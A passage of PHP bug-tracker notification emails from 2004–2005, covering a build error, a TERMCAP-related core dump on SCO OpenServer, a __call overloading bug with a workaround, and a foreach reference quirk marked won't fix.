In file included from /usr/include/rpc/rpc.h:56,
from /usr/include/crypt.h:9,
from /root/php-4.3.10/ext/standard/crypt.c:31:
/usr/include/rpc/rpc_msg.h:64: syntax error before `0'
*** Error code 1
--
Edit this bug report at http://bugs.php.net/?id=31290edit=1
#31433 [Opn-Fbk]: PHP CGI Core Dumps W/O TERMCAP Assignment
ID: 31433
Updated by: [EMAIL PROTECTED]
Reported By: dgrimes at scvl dot com
-Status: Open
+Status: Feedback
Bug Type: Program Execution
Operating System: SCO OpenServer 5
PHP Version: 4.3.10
New Comment:
Thank you for this bug report. To properly diagnose the problem, we
need a backtrace to see what is happening behind the scenes. To
find out how to generate a backtrace, please read
http://bugs.php.net/bugs-generating-backtrace.php
Once you have generated a backtrace, please submit it to this bug
report and change the status back to Open. Thank you for helping
us make PHP better.
Previous Comments:
[2005-01-06 21:04:55] dgrimes at scvl dot com
Description:
I am attempting to upgrade from 4.0.6 to 4.3.10. Everything compiled
without warning or errors and installed fine. I eliminated everything
from configure:
configure --disable-all
make
make install
I want a CGI version from this compile. When I execute php from the
command line, it coredumps with a memory fault. All I have to do is
type php at the command line and it coredumps. I finally figured out it
has something to do with the TERMCAP environment variable. When I set it
to a valid TERMCAP value php will run fine.
TERMCAP Assignment:
TERMCAP='sa|scoansi|scoansi80x25|SCO ANSI Color Console::
:km:mm=\
E[=10L:mo=\E[=11L:rp=\E[%d;%db:vi=\E[=0c:ve=\E[=1c:vs=\E[=2c:
:am:be:eo:mi:xo:
:
:LE=\E[%dD:RI=\E[%dC:DO=\E[%dD:UP=\E[%dA:cm=\E[%i%d;%dH:DC=\E[%dP:
:DL=\E[%dM:IC=\E[%d@:AL=\E[%dL:S1=\E[=%dg:cd=\E[J:cb=\E[1K:ce=\E[K:
:ho=\E[H
:RA=\E[?7l:SA=\E[?7h:@1=\E[H:@7=\E[F:kh=\E[H:
:kD=^_:kI=\E[L:kN=\E[G:%5=\E[G:k
P=\E[I:%8=\E[I:kB=\E[Z:kl=\E[D:
:kd=\E[B:kr=\E[C:ku=\E[A:k1=\E[M:k2=\E[N:k3=\E[O
:k4=\E[P:k5=\E[Q:
:k6=\E[R:k7=\E[S:k8=\E[T:k9=\E[U:k;=\E[V:F1=\E[W:F2=\E[X
:
:mb=\E[5m:md=\E[1m:mr=\E[7m:mk=\E[8m:so=\E[7m:se=\E[27m:me=\E[m:
:[EMAIL PROTECTED]/.\231-\230,.`\204~\207i\150y\163z\162{\143
};;IIHHJJKKMM::LL99NN88UUTTOOQQFF55XX77VVSS==PPRRGG66WW:
:as=\E[12m:ae=\E
[10m:cs=\E[%i%d;%dr:wi=\E[%i%d;%d;%i%d;%dr:MC=\E[=r:
:oc=\E[51m:Co#8:pa#64:AB
=\E[4%dm:Sb=\E[4%dm:AF=\E[3%dm:Sf=\E[3%dm:op=\E[0;37;40m:'
Once TERMCAP is assigned, php runs OK. I am installing on SCO
OperServer 5 Version 5.0.6. If you need any additional information
please let me know.
Dean
--
Edit this bug report at http://bugs.php.net/?id=31433edit=1
#31214 [Com]: overloading using __call() initially OK, fails on any subsequent method call
ID: 31214
Comment by: patrick at arkeon dot com
Reported By: ebypdx at comcast dot net
Status: No Feedback
Bug Type: Class/Object related
Operating System: Solaris 5.8
PHP Version: 4.3.10
New Comment:
A not real solution about the Call to a member function on a
non-object
Try this:
// Only to avoid the problem...
class Dummy {
function Dummy() {
}
}
$toto = new Dummy();
class BaseOverloader {
function BaseOverloader() {}
function __call($method, $args, $returnValue) {
echo Call to .get_class($this).-$method br/;
$returnValue = return;
return true;
}
}
overload(BaseOverloader);
$toto = new BaseOverloader();
$toto-firstCall();
$toto-secondCall();
Then you got:
Call to baseoverloader-firstcall
Call to baseoverloader-secondcall
Weird, no?!?
Previous Comments:
[2004-12-29 01:00:16] php-bugs at lists dot php dot net
No feedback was provided for this bug for over a week, so it is
being suspended automatically. If you are able to provide the
information that was originally requested, please do so and change
the status of the bug back to Open.
[2004-12-21 18:05:49] [EMAIL PROTECTED]
leave bug @ feedback until further information is known.
[2004-12-21 17:33:51] ebypdx at comcast dot net
thanks very much for the feedback, if our sysadmins have time to apply
that patch i'll post back the results. for now we've rolled back a
version.
[2004-12-21 03:58:03] [EMAIL PROTECTED]
Try the patch listed in bug report #31106
[2004-12-21 03:04:38] [EMAIL PROTECTED]
in Zend/zend_execute.c
about line 997: remove this line
PZVAL_UNLOCK(T-EA.data.overloaded_element.object);
about line 1579: remove this line
EX(object).ptr-refcount++;
you have to copy paste the whole link for it to work / rather than
just pressing on it.
The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/31214
--
Edit this bug report at http://bugs.php.net/?id=31214edit=1
#31118 [Ana-WFx]: Two consecutive foreach loops produce different results
ID: 31118
Updated by: [EMAIL PROTECTED]
Reported By: dennis at inmarket dot lviv dot ua
-Status: Analyzed
+Status: Wont fix
Bug Type: Zend Engine 2 problem
Operating System: Win
PHP Version: 5.0.2
Assigned To: andi
Previous Comments:
[2004-12-23 23:48:39] [EMAIL PROTECTED]
I looked into this problem. It's actually not a bug but just weird
behavior as a result of PHP blocks not having scope.
Basically the first foreach() statement leaves the value variable ($v)
as a reference. When the second loop runs, it assigns the current
array's position to $v. Because $v was a reference it'll actually
overwrite the previously pointed to value.
Now we can't go and unset($v) at the end of the foreach() statement as
I bet there are many applications out there that take advantage of the
last value staying in the $v variable after the foreach() finishes.
The only thing I have in mind is possible emitting an E_STRICT during
the foreach() loop if the loop value variable is a reference. However,
just from looking at make test this might potentially break many
scripts which are using E_STRICT and/or confuse their authors. Not sure
how to weight that, and as we haven't had many complaints about this
behavior I'm not sure it's worth it.
Taking this to internals@ but most likely, it'll remain this way.
[2004-12-16 16:08:01] dennis at inmamrket dot lviv dot ua
Sorry for opening another ticket but this bug took me 2 weeks to
shuffle the code and I got really nervous about it. This is abnormal
behaviuor, and the bug you forwarded me to is different - there is
array modification inside the loop.
[2004-12-16 16:05:33] dennis at inmarket dot lviv dot ua
No, it is NOT related no those bugs: here is a test case that proves
that with no array modification two consecutive foreach loops give
different results
$a = array('key1'='value1', 'key2'='value2', 'key3'='value3');
foreach($a as $k=$v) {
echo $k . '=' . $v . \r\n;
}
foreach($a as $k=$v) {
echo $k . '=' . $v . \r\n;
}
This produces this:
key1=value1
key2=value2
key3=value3
key1=value1
key2=value2
key3=value2 - must be 3
[2004-12-16 12:43:59] [EMAIL PROTECTED]
Please do not submit the same bug more than once. An existing
bug report already describes this very problem. Even if you feel
that your issue is somewhat different, the resolution is likely
to be the same.
Thank you for your interest in PHP.
See #29992.
[2004-12-16 12:26:02] dennis at inmarket dot lviv dot ua
Description:
If you foreach an array with a reference (foreach $a as $x=$y),
modifying $y, and then without it (foreach $a as $x=$y), on the second
time it will return incorrect results.
The sample code has two functions - each iterates over array with a
reference to value and modifies it and then they foreach that array -
first function without a reference, and the second - with a reference.
The first function fails to iterate to the end of array. However, the
print_r shows the array is ok.
Reproduce code:
---
function test1() {
$a = array('key1'='value1', 'key2'='value2', 'key3'='value3');
foreach($a as $k=$v) {
$v .= '0';
}
print_r($a);
foreach($a as $k=$v) {
echo $k .'=' . $v . \r\n;
}
}
function test2() {
$a = array('key1'='value1', 'key2'='value2', 'key3'='value3');
foreach($a as $k=$v) {
$v .= '0';
}
print_r($a);
foreach($a as $k=$v) {
echo $k .'=' . $v . \r\n;
}
}
test1();
test2();
Expected result:
Array
(
[key1] = value10
[key2] = value20
[key3] = value30
)
key1=value10
key2=value20 - all values properly changed
key3=value30
Array
(
[key1] = value10
[key2] = value20
[key3] = value30
)
key1=value10
key2=value20 - all values properly changed
key3=value30
Actual result:
--
Array
(
[key1] = value10
[key2] = value20
[key3] = value30
)
key1=value10
key2=value20
key3=value20 - SHOULD BE '30'
Array
(
[key1] = value10
[key2] = value20
[key3] = value30
)
key1=value10
key2=value20
key3=value30
--
Edit this bug report at http://bugs.php.net/?id=31118edit=1
